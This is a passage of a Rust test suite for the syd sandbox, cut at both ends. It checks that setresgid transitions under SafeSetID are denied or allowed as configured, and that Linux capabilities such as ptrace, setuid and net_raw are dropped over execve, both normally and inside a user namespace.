    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["-1", "1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_root_safesetid_deny_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must be denied with EACCES for GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["1", "1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_root_safesetid_deny_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must be denied with EACCES for GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["1", "-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_root_safesetid_deny_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must be denied with EACCES for GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["1", "1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_allow_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setgid+${SYD_GID}:65534")
        .do_("setresgid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_allow_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setgid+${SYD_GID}:65534")
        .do_("setresgid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_allow_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setgid+${SYD_GID}:65534")
        .do_("setresgid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_allow_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setgid+${SYD_GID}:65534")
        .do_("setresgid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_allow_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setgid+${SYD_GID}:65534")
        .do_("setresgid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_allow_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setgid+${SYD_GID}:65534")
        .do_("setresgid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_allow_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setgid+${SYD_GID}:65534")
        .do_("setresgid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_0_drop_cap_sys_ptrace_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_ptrace");

    // Ptrace must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_0_drop_cap_sys_ptrace_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_ptrace");

    // Ptrace is kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_0_drop_cap_sys_ptrace_exec_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_ptrace");

    // Ptrace is kept with trace/allow_unsafe_ptrace:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_0_drop_cap_chown_exec_default() -> TestResult {
    skip_unless_cap!("chown");

    // CAP_CHOWN must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_0_drop_cap_chown_exec_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("chown");

    // CAP_CHOWN is not dropped with trace/allow_unsafe_caps:1
    // As of 3.38.5 we do not keep it because it is fully emulated.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_0_drop_cap_chown_exec_allow_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("chown");

    // CAP_CHOWN is kept with trace/allow_unsafe_chown:1
    // As of 3.38.5 we do not keep it because it is fully emulated.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_chown:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_0_drop_cap_setgid_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // CAP_SETGID must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_0_drop_cap_setgid_exec_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // CAP_SETGID is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_0_drop_cap_setgid_exec_safesetid() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // CAP_SETGID is not dropped with SafeSetID.
    let status = syd()
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_0_drop_cap_setuid_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // CAP_SETUID must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_0_drop_cap_setuid_exec_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // CAP_SETUID is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_0_drop_cap_setuid_exec_safesetid() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // CAP_SETUID is not dropped with SafeSetID.
    let status = syd()
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_0_drop_cap_net_bind_service_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_bind_service");

    // CAP_NET_BIND_SERVICE must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_0_drop_cap_net_bind_service_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_bind_service");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_caps:1
    // As of 3.38.5 we do not keep it because it is fully emulated.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_0_drop_cap_net_bind_service_exec_unsafe_bind() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_bind_service");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_bind:1
    // As of 3.38.5 we do not keep it because it is fully emulated.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_bind:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_0_drop_cap_net_raw_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_raw");

    // CAP_NET_RAW must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_0_drop_cap_net_raw_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_raw");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_caps:1
    // As of 3.38.5 we do not keep it because it is fully emulated.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_0_drop_cap_net_raw_exec_unsafe_socket() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_raw");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_socket:1
    // As of 3.38.5 we do not keep it because it is fully emulated.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_socket:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_0_drop_cap_sys_time_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_time");

    // CAP_SYS_TIME must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_0_drop_cap_sys_time_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_time");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_0_drop_cap_sys_time_exec_unsafe_time() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_time");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_time:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_time:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_0_drop_cap_syslog_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("syslog");

    // CAP_SYSLOG must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_0_drop_cap_syslog_exec_unsafe_caps() -> TestResult {
    skip_unless_cap!("syslog");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_0_drop_cap_syslog_exec_unsafe_syslog() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("syslog");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_syslog:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_syslog:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_ptrace_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // Ptrace must be dropped by default.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // Ptrace is kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // Ptrace is kept with trace/allow_unsafe_ptrace:1
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_ptrace:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_userns_drop_cap_chown_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_CHOWN must be dropped by default.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_userns_drop_cap_chown_exec_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_CHOWN is not dropped with trace/allow_unsafe_caps:1
    // As of 3.38.5 we do not keep it because it is fully emulated.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_userns_drop_cap_chown_exec_allow_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_CHOWN is kept with trace/allow_unsafe_chown:1
    // As of 3.38.5 we do not keep it because it is fully emulated.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_chown:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_userns_drop_cap_setgid_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_SETGID must be dropped by default.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_userns_drop_cap_setgid_exec_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_SETGID is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_userns_drop_cap_setgid_exec_safesetid() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_SETGID is not dropped with SafeSetID.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("setgid+${SYD_GID}:65533")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_userns_drop_cap_setuid_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_SETUID must be dropped by default.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_userns_drop_cap_setuid_exec_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_SETUID is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_userns_drop_cap_setuid_exec_safesetid() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_SETUID is not dropped with SafeSetID.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("setuid+${SYD_UID}:65533")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_userns_drop_cap_net_bind_service_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_NET_BIND_SERVICE must be dropped by default.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_userns_drop_cap_net_bind_service_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_caps:1
    // As of 3.38.5 we do not keep it because it is fully emulated.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_userns_drop_cap_net_bind_service_exec_unsafe_bind() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_bind:1
    // As of 3.38.5 we do not keep it because it is fully emulated.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_bind:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_userns_drop_cap_net_raw_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_NET_RAW must be dropped by default.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_userns_drop_cap_net_raw_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_caps:1
    // As of 3.38.5 we do not keep it because it is fully emulated.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_userns_drop_cap_net_raw_exec_unsafe_socket() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_socket:1
    // As of 3.38.5 we do not keep it because it is fully emulated.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_socket:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_time_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_SYS_TIME must be dropped by default.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_time_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_time_exec_unsafe_time() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_time:1
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_time:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_userns_drop_cap_syslog_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_SYSLOG must be dropped by default.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_userns_drop_cap_syslog_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_userns_drop_cap_syslog_exec_unsafe_syslog() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_syslog:1
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("trace/allow_unsafe_syslog:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_landlock_dotdot_deny() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

